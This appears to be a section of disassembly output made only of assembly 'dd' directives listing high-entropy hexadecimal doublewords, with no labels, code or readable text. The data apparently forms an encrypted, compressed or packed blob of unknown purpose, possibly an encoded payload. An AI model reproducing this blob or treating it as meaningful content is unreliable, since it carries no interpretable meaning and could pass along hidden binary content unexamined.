		dd 0FC21DF8h, 0DD50C09Ch, 99E40066h, 95EFD5ABh,	0BE0F7F4Dh
		dd 80096133h, 0A432CD9Dh, 0B0843DF6h, 8068B300h, 2B363981h
		dd 663F6278h, 77A20C3Ch, 34D800Eh, 2F2349EFh, 0AF803BCCh
		dd 0F40069B6h, 1F05CF02h, 3071F1FFh, 0BB74746Eh, 1A03F5D1h
		dd 8C167EE1h, 7993D19Dh, 0D557FCh, 0BA40DD54h, 0D2E9BC6Fh
		dd 0E0957606h, 0A9E113h, 2833FDA5h, 0FB3A8747h,	4FE30500h
		dd 9C50D738h, 14CE0325h, 6E64987Ch, 8487FAF8h, 48C48A30h
		dd 318B70h, 13A54680h, 0CE6A678Dh, 0FA2E5A00h, 1DB32CF4h
		dd 27C00561h, 0C0348751h, 14D18158h, 9300DA79h,	0ABCC1373h
		dd 6DF1EFh, 6D46433h, 0EBB565Ah, 20CA4F1Dh, 0E0B25C00h
		dd 82B928h, 617F0A21h, 0D0312507h, 0C0529F00h, 0B22B0359h
		dd 0F45D0039h, 0C6FDFFFEh, 37003FC3h, 2E063198h, 4EA0D9h
		dd 5A1FA544h, 47BBADD4h, 0FD000A73h, 2A8506DDh,	3EC8986h
		dd 0E1DB876h, 52C85CEDh, 550163A7h, 6641F409h, 3270C734h
		dd 120F876h, 5A8A1719h,	87306598h, 4ACF25F0h, 0BDD5B8CDh
		dd 0F8B25EC4h, 2F57101Eh, 80B33F7Fh, 0FE332ABCh, 60CFEBA7h
		dd 29D73021h, 827E5F0Dh, 0A500EFEEh, 8BBB01FCh,	0D33F3Ch
		dd 918363E6h, 389E9451h, 69BC91Eh, 0D0D17040h, 0F8EF8286h
		dd 3CB030h, 0A022609Ah,	6C0AC706h, 0D16E2E00h, 7D05AE0Ch
		dd 973B0F15h, 353FC08h,	0B6B81F90h, 0B7069FA0h,	56EE3A00h
		dd 0CD9BC1FBh, 9829007Bh, 5970F2A2h, 1B004410h,	5508E0B8h
		dd 0CFEA4ABCh, 9740B428h, 0F4C4AB79h, 52C92801h, 0BC7025B1h
		dd 0E488F2D0h, 1E6F8C8h, 0CBB3677Eh, 0C81F595Bh, 8D00AD20h
		dd 5DB0860Ch, 3E41FFh, 0E0FC7916h, 4CCC0630h, 7AD47B0Ch
		dd 7C7F0D0h, 8077C29h, 7DD6C047h, 8F1CFB84h, 5A47F4C1h
		dd 34B08C3Bh, 0C1737C02h, 0CE1A7418h, 0CD318016h, 6992F6ADh
		dd 6179F636h, 17EDC0EBh, 0FF6080C3h, 0BFA632C7h, 0D1F900F6h
		dd 0F811640Bh, 7700B39Dh, 0BD876305h, 5321F91h,	6697C3DBh
		dd 37CF8109h, 817B30ADh, 0A18BD600h, 71164FA0h,	9DDF00CDh
		dd 0A492B204h, 3A0072BAh, 93204E0Fh, 5CC69Eh, 26034A8Ah
		dd 4396BD1Eh, 0CB98B1Eh, 0C543355Eh, 0B849CF0Fh, 592671Bh
		dd 0FE8AF4A0h, 8820285Fh, 0BD2CD921h, 3D776103h, 88007F8Dh
		dd 17A2C82Fh, 0B902DCh,	3CB9D9Ah, 0B86F3FE7h, 7FF6D544h
		dd 0F12A4069h, 0C5CD5200h, 9DCB7055h, 0E01B183Fh, 0AF74E842h
		dd 0DEFA20F0h, 78943A3Fh, 3B186078h, 0D2A01BE2h, 0F00A20B9h
		dd 260057E6h, 0EE2F7939h, 0ECAA9689h, 4FC900DFh, 9ACD235Fh
		dd 0DC006F20h, 2B1EA931h, 906C93h, 19A04FB6h, 35896173h
		dd 5F9C7700h, 5EA4713Ch, 0ACCB00BCh, 0CFE7482Ah, 303D21FEh
		dd 1BAA8046h, 2369793Bh, 0ECE84Eh, 383E33FAh, 0BBDFD451h
		dd 2B576201h, 0BC17AA43h, 4D92C1DBh, 0CB2CFD4h,	47D4726Ch
		dd 0AD070248h, 45CA0D21h, 0E9894BD0h, 491A0028h, 0D618050Ch
		dd 6E3BA147h, 80C93B76h, 0DE63D2E3h, 51AD6Dh, 0ABECA549h
		dd 0A1933F2Eh, 8C5B7200h, 0A02B11F5h, 5ACC2E1Eh, 54CB0041h
		dd 0E13BA51Bh, 1062ED14h, 0E4B50280h, 9CB87E4Dh, 0D0F10820h
		dd 7343E8BFh, 0F269E01Ch, 857351h, 0E165C9C7h, 0A1ADBEF3h
		dd 0B2CA190Eh, 9DABC7E3h, 45920280h, 14047C69h,	0C8D4E787h
		dd 0C1AA801Ch, 8F603C99h, 0F79DC4E5h, 95D76E00h, 0A2D11207h
		dd 393FA89h, 0B6F0CA18h, 0AAD89165h, 7A0597A0h,	9FA15115h
		dd 5AA46680h, 6B0F026Dh, 0E72D253Ah, 4E99E883h,	21DF3BE8h
		dd 0A65F10C0h, 1D3C829Bh, 0AC02BC6Bh, 738B002Bh, 5223054Ch
		dd 0F1ED479h, 864B338h,	0E68E3500h, 40ED3Ch, 86CC0CB2h
		dd 0EF068175h, 30843403h, 0E03B78C5h, 0E402797h, 0D513BC9Eh
		dd 337E53A0h, 0E609ECCAh, 876C79B0h, 0C0FFF491h, 31AD5ABEh
		dd 0E4602ABh, 0AC22906Dh, 2CAA9C80h, 0F6EA57E1h, 0A4A9BB00h
		dd 2ACA7065h, 0E77E3A66h, 2548C8E7h, 6B45F64h, 18C4B482h
		dd 0D60A540Ah, 3CB455h,	90C060F0h, 2AB6F9C8h, 0BCCBEBh
		dd 0B71BCEB9h, 91B1F80Ah
		dd 0E6F1BC00h, 8B852931h, 46E63Bh, 0EEB61B59h, 784D0D45h
		dd 0F5146200h, 71B4BDDEh, 237E0D7h, 18128C06h, 0C160F0A6h
		dd 1C30C368h, 0B6AC20BBh, 0EAA300D4h, 988B744Eh, 5103706Ah
		dd 7D47A072h, 32290F07h, 0AA002593h, 5104EE0h, 59005FF6h
		dd 0BA602407h, 188E4211h, 30B57ED2h, 100026FEh,	86CB1E5Bh
		dd 749D4F06h, 18400FDh,	36CE4B28h, 3A60CA69h, 20E3A760h
		dd 0D4060025h, 0CAAFEEFh, 0F6006F5Eh, 0D2A00124h, 12CBF96h
		dd 6031C1A6h, 0FCCD1B12h, 9B002AAAh, 0E5D44224h, 20103Ch
		dd 0C421C9A3h, 1D7705Bh, 0F529507h, 629013EBh, 31082E2h
		dd 6F9FA291h, 49801ADh,	1C028407h, 0B3226887h, 0F2996064h
		dd 0D52D0037h, 0E8357F28h, 3E2A1C91h, 400880Dh,	54B1ECF1h
		dd 0FBBAB6h, 6FF02DBh, 0C435A480h, 3F51D9C0h, 2C754204h
		dd 2B3F7F6h, 733DBD67h,	7CCBE6C0h, 31E1051Eh, 1327AA80h
		dd 313E70F1h, 0EE2066F5h, 504620D6h, 11BC1B1Ch,	2B443980h
		dd 9ADCAFh, 66888E13h, 516B6D37h, 0AC58E900h, 65F6CFEh
		dd 4073D8h, 7F302FB2h, 0E818272h, 0E4C7BB00h, 5F6827A1h
		dd 9590005Bh, 8C4E018Bh, 2000C3DDh, 149674F9h, 76E24FD9h
		dd 0F1BD0761h, 0C067D52Bh, 0E1FB127Bh, 3F006CECh, 25610460h
		dd 6198B7FAh, 8821A0DEh, 8E64CCF5h, 0C7447100h,	0DFEE318Dh
		dd 666200EBh, 13F23D7Bh, 88002D72h, 9CAEFF74h, 0B8C95EB6h
		dd 6F2B0087h, 94972905h, 0EE00011Bh, 5EA1DD4Fh,	784A82Eh
		dd 0E3B39BFCh, 520D07Ch, 0F6133947h, 1814743Eh,	4371171Ch
		dd 87A60200h, 76C281Eh,	2584BBD8h, 0EF93D12Ah, 123ECB9h
		dd 0FB6439h, 0F4CDD91Ah, 568EF9h, 0F9DC707h, 7718E794h
		dd 0B82EB300h, 46C0F55Dh, 9F60005h, 99EF7364h, 9800EBB0h
		dd 0CF0AAD2Eh, 3DC42DD9h, 0B580B138h, 0A2999472h, 0A800A50Dh
		dd 1AFFDF17h, 7AE5D4Dh,	29DCBEF2h, 2576532Dh, 30CEC480h
		dd 9C412201h, 0BCED6E1Dh, 79FDC8h, 0CC26B27Ah, 0C13DE534h
		dd 0ABD0320Eh, 8885C0FEh, 0FA314A8h, 0E1FC8F9Ch, 51C0E260h
		dd 2800BA02h, 0D4E9A6A1h, 132F6623h, 305BEFh, 2BB4D35Eh
		dd 0D907AB54h, 48EAE920h, 0F9841670h, 82D1001Fh, 78C3F364h
		dd 0A5031E46h, 0CCFDA69h, 0E772E3C7h, 0BD2CE281h, 289E56C1h
		dd 28A34E82h, 0D83718C0h, 0A81D8BBEh, 0B1426715h, 6085A587h
		dd 0FE025Fh, 43F4D42Bh,	95539DB2h, 4BE1881Eh, 0C6832C0h
		dd 0F56BACh, 0D01BC035h, 0F634178h, 23AA261Dh, 0E0D7860Fh
		dd 48169C69h, 3ED4000Dh, 0B17B7498h, 1203D5C7h,	0DB28BDD0h
		dd 0C14E90EEh, 75831E79h, 659C04Fh, 39117040h, 675C4500h
		dd 5116122Ch, 49630066h, 5698FF01h, 0F90590DAh,	8B31E389h
		dd 0AD6DA783h, 23B22E81h, 98A5CCh, 9C224296h, 0A1F825A4h
		dd 6946AD0Eh, 39AAC099h, 0CC0B364h, 0A6DB8BB9h,	0F30DB06Eh
		dd 0E8CCB8E4h, 0FC7FDFCh, 82C17AC6h, 9771BCA0h,	0AC00F8A4h
		dd 1EB68F72h, 0E4E62E83h, 0CD1F2549h, 3F00FAFEh, 56A49D46h
		dd 0C2220077h, 4C7AC0C6h, 0CD001209h, 0C1762EE7h, 3EF904Fh
		dd 3DB2C896h, 0D097CE82h, 0EEAC3E36h, 0E2E5BD00h, 0E72BF9EDh
		dd 508000F5h, 0B6F25C98h, 8D05CDDFh, 6AFB9F14h,	50783C0h
		dd 0BD5A0032h, 8AEC360Dh, 0A101ABBFh, 15D6181h,	87C8D4B2h
		dd 71880018h, 2924C0C4h, 0FA000FE2h, 507B49ECh,	15140C1h
		dd 0C0E5A5Eh, 30594504h, 7A7ABD48h, 951F0F13h, 13A99ACh
		dd 61B53E7Dh, 4C1C56BAh, 9E3E4F1Ah, 4F14CEA0h, 5861E4FFh
		dd 56CA108Ch, 0EE7320BAh, 4DBA07C8h, 0F0287A88h, 0BCFF5FB2h
		dd 3009B74h, 3275A419h,	0B08F275Dh, 38390057h, 60E8E5B4h
		dd 0FB007F84h, 0F966EFB3h, 0BCEEE9h, 0E59EF049h, 0B1012530h
		dd 800AA438h, 5DA9BDB8h, 0F4903Ch, 0B9F826BFh, 0D3CF7F10h
		dd 7E00B073h, 247BAB36h, 0A171709Ch, 0C5ECB5B6h, 0F794074Bh
		dd 601377FFh, 76F4E74h,	2932900Eh, 282C0320h, 2F8AF9E7h
		dd 60912BF8h, 0C50DF09Dh, 0CF00D1C9h, 0EE536D3Dh, 7E342Ch
		dd 0D70C7828h, 611D29B4h, 0BC5CF10Fh, 6E7D80E8h, 0B53FD94h
		dd 99E62C6Bh, 0DB3DF800h, 0AE00A691h, 2D4C0A8Dh, 0B8185AFDh
		dd 0C98100BCh, 93A1BE8h, 0B6396C8Eh, 2D01F7C3h,	0EED542F7h
		dd 0BDF52251h, 0C6E8A731h, 45D30014h, 0B6171F0h, 67008116h
		dd 8A20234h, 38DD5A41h,	1C8E4923h, 29A02A10h, 0AD53A69h
		dd 0A4007971h, 0B03D7CF2h, 0A9321Eh, 0F9742191h, 4F9C7766h
		dd 3AB9D200h, 0DBAEE3EBh, 35CF4C27h, 18BBA400h,	0D369843Bh
		dd 64198A00h, 0D834897Dh, 0FD0300E5h, 0B085AF4Ah, 99005368h
		dd 426BD059h, 8DFC58h, 6E13CDE2h, 9809DAE6h, 9C700400h
		dd 0B46F40B3h, 0F8BD1C1Eh, 0EC735805h, 48006858h, 0FF67C1ECh
		dd 0F09EEBh, 2160AE15h,	0D5B18E63h, 4EDA8F00h, 0EAF512Ch
		dd 0B41900EEh, 0EC675827h, 0C1009ECAh, 7DA22288h, 0E51761h
		dd 10ADDAB8h, 2BAA2D6Ah, 41A32900h, 1130D415h, 458103D0h
		dd 939A748Dh, 1202F788h, 373838h, 7E5B91CAh, 3C3E2C15h
		dd 29808923h, 0DCDFF88Ah, 0C712CB4Bh, 0F0A0477Fh, 0FDD516C8h
		dd 9A60E21h, 0C422AF60h, 0A60E2EFAh, 0A0ADB775h, 20A7DA4h
		dd 0E0730016h, 1B139FD6h, 9100302Dh, 2B0307EDh,	5542174h
		dd 5E0E2C98h, 0AF8B00F0h, 0C3431920h, 941AEA00h, 1DDABC25h
		dd 7D0A0E2Eh, 5024528Bh, 80C484C5h, 47B40E68h, 66A8B02Eh
		dd 2AF5C16h, 88DE0978h,	1A2A4DC0h, 4C6DEB00h, 4A2263A0h
		dd 79BF001Bh, 31E7B7D4h, 0CA3A9543h, 4E7C8060h,	4F068D4Bh
		dd 786B00C8h, 65B19ED3h, 0B47617F0h, 33D3Dh, 0BA33603Bh
		dd 3CD876A3h, 3A802D01h, 0CD458287h, 1A00739Bh,	0C17458E8h
		dd 1E2B0643h, 81136F3Fh, 1E21A214h, 0D557EC6Eh,	0B5833100h
		dd 0AAC2B235h, 9A5F0746h, 0E088F390h, 9EAD7020h, 1ACCE000h
		dd 0BF441968h, 7B81005Fh, 30A53936h, 0FE000CC3h, 0C7695D92h
		dd 42632Eh, 29BAC451h, 22C3A9C5h, 0D106E1FAh, 12200277h
		dd 0A07470h, 491CDFEFh,	0D5B4C955h, 35E9641Eh, 0C7B2E540h
		dd 253CD72h, 3C185CC5h,	0ACA9BCF9h, 0C0B4DA04h,	747226D7h
		dd 0F3FAFE02h, 80BEEA40h, 0FBE14E88h, 648900ABh, 11FE7994h
		dd 50C05F2Bh, 164BAE14h, 3CDEF2h, 89733E61h, 2A00C54Fh
		dd 70DE1D20h, 0FCFE3344h, 0C62F0063h, 27E873A1h, 4D7C1B31h
		dd 0B75C5701h, 2A4BAC32h, 8D70D447h, 0F0CDC3Ch,	0DF7D97C3h
		dd 52510980h, 0AF001E42h, 0F082F640h, 2D66C4Fh,	4D674C33h
		dd 646017FDh, 0BD00EA3Fh, 0D9ED5014h, 16DFA8Eh,	0A69433Bh
		dd 4323A16Eh, 3E99D8ABh, 0C9A530C8h, 59A27903h,	0A0A15F82h
		dd 6B555EEh, 785186F3h,	0B304501Ch, 0D9947737h,	0B11DFD80h
		dd 0A710375h, 33A276DAh, 86F7C0BCh, 5D0026D4h, 777402FFh
		dd 78C2EB1Fh, 4E22036Eh, 0A0C47AF0h, 14FCE2C0h,	187D4AB0h
		dd 9625B40Fh, 29444193h, 0B7F46064h, 51700C35h,	1130AE56h
		dd 4C01C5B8h, 7890BFAFh, 95F0C1D2h, 0A79D1839h,	0B25270E2h
		dd 8E2E4F14h, 7F250010h, 8B4DB3Ch, 62F0B734h, 8C794E3Dh
		dd 585446C5h, 1F9F18C2h, 559299D3h, 1C00B4F6h, 9A9DD84Ah
		dd 69AD89h, 0A1D38205h,	0BC738DFh, 0A2605900h, 0B43E15C0h
		dd 0A83D33FBh, 0D9888A9h, 23280F93h, 65009D92h,	2F34446Bh
		dd 81B23Dh, 0FABFC829h,	6387D8A4h, 9FF8500h, 13E422B4h
		dd 6F3100A5h, 0C6AC5580h
		dd 6E01D777h, 1848D298h, 0A84045F5h, 3A70ED42h,	57BCF91Bh
		dd 59D6568Fh, 2037E2A6h, 4FF1B901h, 6AA25287h, 1DB38CDCh
		dd 0DC1A9A5Bh, 5C97CD13h, 6E801260h, 0BB131E7Ch, 2B7AB503h
		dd 507806F5h, 0D8D1D009h, 3467100h, 70EC2AE4h, 6DA10640h
		dd 0F9154792h, 67B5300h, 94E73128h, 296F01Eh, 97E08B6Ah
		dd 0C88083C7h, 0DAE4EA32h, 0F3414900h, 606E7637h, 3EB1E2FCh
		dd 0C58022AAh, 4C5A1BFEh, 1500D5D6h, 2A51FBC3h,	11B6F5h
		dd 0ABFAC7F8h, 0C5E5D35Ch, 3CA3562Eh, 123CB800h, 7D0239h
		dd 90D26DC6h, 8975DB8Eh, 0E88F4407h, 0B0900EC5h, 77968A5h
		dd 4517915Bh, 0EA2270DCh, 4E3E3538h, 0A348AC8Eh, 0B040AF1Dh
		dd 2E51FAB3h, 5DEA97h, 6177DEB6h, 27E3B8CDh, 59798C07h
		dd 0C18E4A13h, 1F0699A7h, 39C0CDF7h, 0D9F7B1h, 15FB4512h
		dd 4EAC21A6h, 997E5Ch, 0B93307FFh, 751855h, 0E2EAD22Dh
		dd 0CCDE6DA0h, 38F6B207h, 93804561h, 1DF3AC3Eh,	189466D1h
		dd 0E2D62129h, 0B7C74A00h, 65AC9D54h, 0E67C0Dh,	0FD0B6A98h
		dd 0F29F99F8h, 3A73000h, 0C55B1C68h, 0F5371C72h, 0B2C34135h
		dd 0DC30F050h, 0EA30ED44h, 0AAE6CAA3h, 0B0861FB5h, 32007EF6h
		dd 97685098h, 7C06B26Ah, 9A545369h, 1DD60011h, 835B9087h
		dd 7976B6CEh, 58658F0Ch, 95209Dh, 356F8C2Fh, 0BE336D64h
		dd 0C850F300h, 9F366761h, 0CB13001Ch, 9B06B94h,	88003732h
		dd 0AAE8C7D6h, 0A7DC510Dh, 6A67428Ch, 0DA5818h,	7213D7AAh
		dd 4279D2E9h, 0A6517600h, 7478160Ch, 901E01D6h,	3C75C3E2h
		dd 96C8D7CDh, 0B9004C3Dh, 4E27EBD0h, 0E22F8AD4h, 0C054009Eh
		dd 0D3C71B3Eh, 6A7C158Eh, 89209900h, 0E7F5A3F9h, 555D0075h
		dd 27351BEEh, 5C000146h, 573C0DBCh, 2A30584h, 70CF90D0h
		dd 54601381h, 0B4E85EE3h, 0ABD88503h, 9829AD87h, 95B72Ah
		dd 0D051802Eh, 0E623E9A9h, 0BCD2C000h, 40B8773Ah, 0CF1C00FCh
		dd 88BFF328h, 752EF18Fh, 7400C6DDh, 6E568AD8h, 0F6C30749h
		dd 0B05F5CFEh, 0ACB0CA27h, 0EB018378h, 7FC11B01h, 0AFE0840Eh
		dd 4905767h, 157108C1h,	7654F05Ah, 0B7E60700h, 0F0F3BDE0h
		dd 0E89B002Bh, 8D620502h, 0DA0F086Dh, 8F6F9817h, 0D8DD60ECh
		dd 7C633643h, 0E2D90006h, 1120EB84h, 8800F67Ah,	73519216h
		dd 3DBF71F7h, 7980DAEAh, 0DC7824FAh, 0C578542Ah, 62643B00h
		dd 39D86B44h, 66FB0C2Eh, 56297F88h, 0F07B103h, 0F07B35E5h
		dd 7B064F12h, 40CD0074h, 0FECA9E05h, 0C7008C1Eh, 80D2C47Dh
		dd 3B2FB70Dh, 0A29320F4h, 7FAF0141h, 40C52C67h,	0E74368A8h
		dd 46C6CB03h, 0B844056Bh, 391B5A51h, 550EB7BAh,	4AAE377Eh
		dd 2DA182A0h, 0B30307FDh, 48E2F8C4h, 0C795E0D6h, 573D00A2h
		dd 9CB48D67h, 5F00D7A4h, 4BF330C4h, 0EDD7438h, 9DC3EC3Ch
		dd 0A3FD8041h, 4C6A303Dh, 27C10400h, 0D2397D63h, 83F900B6h
		dd 87DB1C06h, 3A1E673Eh, 50C0F00Fh, 4DBB121Ah, 410200E1h
		dd 0D0CD2DDDh, 7000BD35h, 76720FC5h, 4663730h, 21F8A852h
		dd 0E60881CDh, 0F481DD64h, 0E50158B8h, 619F9550h, 0B540A6DFh
		dd 347DF5h, 0CBB51204h,	5826D949h, 8111DC0Fh, 90C05F9Ah
		dd 198CAD0Fh, 0CF4D0333h, 621A06D1h, 0F052A588h, 6600A2F0h
		dd 0FF3928BFh, 909B320Fh, 677624h, 3ADDABE2h, 2606EA1Fh
		dd 0D8E4E10Fh, 959AC0C6h, 0F6D1D3B8h, 0BE8D2C7Fh, 6C0100DAh
		dd 96F702ECh, 0B08F5B00h, 48453F29h, 301200E4h,	0B436E7DCh
		dd 0DD009B7Dh, 0D6DB8BA6h, 7FE56h, 5E51EE46h, 0E4BF2FC2h
		dd 0A2029A00h, 0C39B5B95h, 94930008h, 7A66A759h, 77008D2Eh
		dd 7932FC12h, 0A9EB2Bh,	180574D7h, 0C66C5821h, 0FE98900h
		dd 561D5590h, 8092053Bh, 0C3BDA3D5h, 5ED03135h,	0A202ACC4h
		dd 9F9A6948h, 4EDC8024h, 0BF27C6FCh, 4390E6C3h,	0D50FE2C3h
		dd 78B23BFDh, 1F64F060h, 11553A5h, 4530C891h, 731F0A1h
		dd 6A877400h, 4DCD788Ch, 9C3FC04h, 10D71A7Eh, 0DF8A9D03h
		dd 2BFB6688h, 0B0565Ch,	3BB0608Bh, 613977h, 519B5F3Ah
		dd 72222A06h, 446FD200h, 911C33BDh, 0F9D700D4h,	617034C6h
		dd 191F2C5Eh, 7B17DDh, 952167B0h, 736EF789h, 7B151FE7h
		dd 12E68063h, 64F50ACDh, 14090EE6h, 8FFFEB5Fh, 27F16020h
		dd 7DD10CEEh, 39C82C86h, 0CFBC008Fh, 47887F53h,	8C16E900h
		dd 0A2826CF0h, 0E8FE00B2h, 68F9B86Dh, 0F00FB30h, 0DAD8C859h
		dd 0C69170h, 0F82737CFh, 189072EAh, 0FA643E00h,	8AE63BBAh
		dd 984B7D84h, 0DC9D0124h, 74DD216Bh, 0BA2620BDh, 0D65F8A00h
		dd 48E6065Ah, 8A200BEh,	6804DD61h, 7FE0291Ah, 51106060h
		dd 38E066Dh, 0B2096B91h, 2998A4D9h, 0BF01F912h,	0EB6F233Ch
		dd 0B5605EA0h, 9EAA0339h, 9F74B0C6h, 0AF2B07E8h, 0B94BDF0Fh
		dd 2667C012h, 5CC83E52h, 0C700A009h, 0F322A3C9h, 8C094E91h
		dd 4B91B69h, 1680A789h,	1E8358h, 0EA550D08h, 22D6FEBFh
		dd 859A8601h, 2D587CBh,	43CDD8h, 0B2E038D7h, 1BB0E10Dh
		dd 9E102C00h, 57779C41h, 6FE703A2h, 0CECFF0DAh,	0CAC17F90h
		dd 0C6D49700h, 40843CA9h, 0BF190078h, 0AA57A1DEh, 6A3AF30Ah
		dd 71F18098h, 96ADA25Bh, 0B9760046h, 0D7883999h, 8F002457h
		dd 5150170Ah, 9EEA94h, 0C14F6E78h, 8A0F4982h, 0E1DAA003h
		dd 0A08EE20Ah, 4D9B93Eh, 297ADB09h, 0A6AB80E7h,	20F1357h
		dd 60756520h, 0E899C22Ch, 6ABE039Fh, 0D3FA66ADh, 0EAC7FF0h
		dd 4613E603h, 0E828719Eh, 0DC44AF4Eh, 5FEF038Ah, 98B84FE5h
		dd 6003D6Dh, 0EC8968F4h, 0FA0F1E1h, 2471E390h, 0EE39C080h
		dd 210261FAh, 7757C4CFh, 995FC0B7h, 36C701C9h, 0F711C292h
		dd 2A09C093h, 0BFCAB812h, 0F30BBA00h, 0C77ACB2h, 0A91461E3h
		dd 0CF00BD11h, 292B810Fh, 799D8AB7h, 0A5A303A0h, 0C1DF86B4h
		dd 459E67B8h, 0D021260Fh, 0B60320EDh, 7161F01h,	7530FDB5h
		dd 3FD3B0F3h, 9A1CD195h, 0E5012DCFh, 0BAB610D2h, 0C6BDC4h
		dd 5684EC1Ch, 953D18DFh, 0D3554200h, 0E0E823AFh, 0FBD507FCh
		dd 309B09A1h, 0B2EE8815h, 0A73D5B00h, 71DC3AFEh, 308C00CBh
		dd 771BE911h, 0FCFE0BCDh, 682B552Eh, 0C0C8E60Fh, 0D49E9C7Dh
		dd 5C6B0008h, 6A1BB9ACh, 2607A667h, 49CF8C43h, 734037D0h
		dd 0A7D0078h, 7A8E615Dh, 950E90B7h, 9E2742D5h, 18FD6000h
		dd 42EC61Ch, 3D8DCD54h,	3FE807Eh, 0D9006FE4h, 40AE741Fh
		dd 18B624Ah, 0D0F80416h, 20907C86h, 8A07D266h, 0F4790CFBh
		dd 3BC2E270h, 13F93AABh, 258FBC80h, 4E3848AAh, 0ACBD141Eh
		dd 0B6449880h, 5CEDB2ABh, 13001571h, 231845A0h,	94F2247Eh
		dd 91223000h, 0F871EB4Dh, 480903AFh, 1A5BBFDFh,	0A59F76C0h
		dd 0FBF23A00h, 61A1946Ch, 0CF120FC9h, 0A66053EBh, 232FD325h
		dd 801CD47Dh, 2E400D75h, 3A8A9988h, 3E6B1F60h, 0F0D6122Ch
		dd 19506929h, 22009EF8h, 0B7D08518h, 38D3296h, 2788E3DDh
		dd 90F28C4Ah, 2E7DAD60h, 4B539100h, 136480Dh, 596F0025h
		dd 0DACF99E6h, 0E53AB87Eh, 0BB1481E4h, 0DC98E74Ah, 30AEF3h
		dd 0C6D98537h, 91909DC1h, 47007E71h, 0B43480FDh, 0F86F6D22h
		dd 0BC540E86h, 86DC76C2h, 41DBB32Eh, 9ED0EE0Bh,	1C7581DCh
		dd 8981C8A2h, 4A1E6394h, 3898DFDFh, 0BB002209h,	6129A444h
		dd 4C32F483h, 0CD3D3EE1h, 18235CAEh, 64198851h,	475FAA00h
		dd 1FD87574h, 549B07DAh, 4045374Bh, 0F93F85ABh,	41093174h
		dd 1B9291h, 746A8FDAh
		dd 3FCD73CEh, 0E300616Ch, 3EE7C64h, 0ECE51450h,	47006621h
		dd 4AC013ECh, 0A6CA02h,	93EFE975h, 204E2D95h, 7E7D5600h
		dd 412E5B45h, 99E8008Ah, 0AB3A6FB3h, 2C001739h,	0DB583F26h
		dd 3A9FEAEFh, 1F80A150h, 4E160E92h, 7F008BC7h, 69AB10FCh
		dd 29EE98Ch, 70D2AD26h,	0D340E116h, 4100AF72h, 354C25F8h
		dd 3EDF49F1h, 631269E8h, 0D304A01h, 0EC005504h,	0B61898B5h
		dd 0A95C0005h, 8A6CC4D2h, 81006343h, 7DEC876Bh,	0F997D4h
		dd 299DF4E1h, 31ADBF4Ah, 259CD207h, 7A7070C1h, 3E8F0690h
		dd 12FB13D7h, 414FE3F3h, 11855EC0h, 4146CC5Dh, 8DBAAF1Eh
		dd 0F319EC43h, 15E2E0E0h, 1EC40021h, 0A36E8003h, 340FCB7Bh
		dd 0E0B85FF0h, 1FE579D8h, 0DEC6004Fh, 856C5628h, 3800A767h
		dd 1C948D64h, 5F29070h,	0DF5C9959h, 0ECB6C07Ch,	7200B305h
		dd 4CEDE12Fh, 0B041284h, 0D795EA6Dh, 311C20D7h,	0AFFB94h
		dd 0CF02C85Dh, 4A22BA6h, 0B5DE8000h, 0E6F26F9h,	0D43F0FACh
		dd 89A0B6D0h, 5673841h,	0FD2BEA00h, 5B778421h, 402A033Eh
		dd 12D60DB1h, 3FB99B80h, 97046C98h, 0F2FF8A59h,	0DBE280C0h
		dd 0FC393C85h, 273AD104h, 8DE8C0D8h, 200F400Fh,	9F0168h
		dd 0AD242A8Eh, 18337838h, 0D6B80742h, 2B3A1D09h, 0FA710084h
		dd 0BB65FE17h, 0B35B0090h, 0D2944ADDh, 0E0007D5h, 0D3FF2D40h
		dd 832EA8h, 0E5250539h,	4DEDD7F8h, 48CD3C03h, 0F8D86529h
		dd 0FC35E8h, 0F3F7EBA2h, 8598BDF5h, 0C2F67500h,	0F81C4742h
		dd 0D8A80079h, 0D14969CBh, 0ED0EC35Dh, 49E72073h, 3B2800B7h
		dd 295A0Ah, 0A1842C52h,	0BF644976h, 0B2480160h,	1D9954h
		dd 8F8895BCh, 98878AC8h, 3C6EDF00h, 7157C0EFh, 1FBC38F1h
		dd 7A65060h, 0BA078F85h, 61998B4Ah, 0EB108007h,	384516D4h
		dd 0A9800E30h, 0C24EC63Fh, 0F600B693h, 78F7E029h, 0E61AE3h
		dd 0C5B52AA2h, 0C4E8555Fh, 47BAAA00h, 9A2D4468h, 92105814h
		dd 4837F0Eh, 10AB9C7h, 0CCC57C15h, 73007E0Dh, 64E1E3EBh
		dd 0C14641h, 85BC7B80h,	8ECAD4B8h, 6B07BDE0h, 482906AEh
		dd 0D67A9001h, 24EB67F4h, 9D4357h, 1DA62527h, 750F2879h
		dd 20203F50h, 41F55F24h, 0EF970BAAh, 0F600DA4Eh, 997151BBh
		dd 0B2E21100h, 1EB46548h, 83E407C8h, 0F0D4D5D7h, 28C2197Dh
		dd 9E12B800h, 0F261C590h, 24B90070h, 68C7DC08h,	1C0080B6h
		dd 14CA5502h, 13F5C318h, 0D5333Ch, 93B08528h, 0E9001C4Dh
		dd 0C4871583h, 0E470D099h, 3E17006Ah, 0DDB452EBh, 79EA0B82h
		dd 9B0AF005h, 87C0E864h, 296512h, 92B213DEh, 8D39F2Dh
		dd 2962500h, 0CC748E36h, 4C400E9h, 3BF8DF63h, 0F200D5A6h
		dd 0A871960Dh, 57C762h,	4F8626ECh, 0CC5877DDh, 4C898100h
		dd 83C576E6h, 7DF30173h, 0A307D627h, 0F4ACF45Fh, 0FA9D4500h
		dd 0F8B3ABAFh, 24C71E1Ah, 2168C050h, 3CD07B81h,	27105300h
		dd 9C08E5DCh, 0EB6A007Ch, 3AD72574h, 80C7FB7Dh,	2F502B66h
		dd 7E71AAh, 2756D5E9h, 0C8F5557Ch, 0CC6F1D03h, 0C08038E7h
		dd 3072E66h, 955ADF6Bh,	0C09792DAh, 30A23CA1h, 0AF65E200h
		dd 7AE0A44Eh, 912300FBh, 14C408CEh, 0CD00D7AAh,	0F826717Bh
		dd 0A6C7C6h, 19FA98EBh,	5BDAA29Ch, 6348801h, 48200513h
		dd 35F93280h, 0DC24A9F8h, 89AE4500h, 0AD286F83h, 0BAF500D4h
		dd 8E8CFA6Dh, 1900FDC8h, 0DAA02B7Eh, 0F99DB2h, 0B014C95Ch
		dd 8F7239AEh, 0DB6EAB00h, 1B2C9873h, 264F0316h,	0BC14CEFEh
		dd 5E88E400h, 6D94DE17h, 0D9E40EA9h, 0E9C0DC65h, 0CDA0355Ah
		dd 54E1C200h, 34236C06h, 7A4400B7h, 8AFEFD0h, 883AF919h
		dd 1E4D3D33h, 0C140EEBFh, 5B5675B4h, 4C2E2CC4h,	99060104h
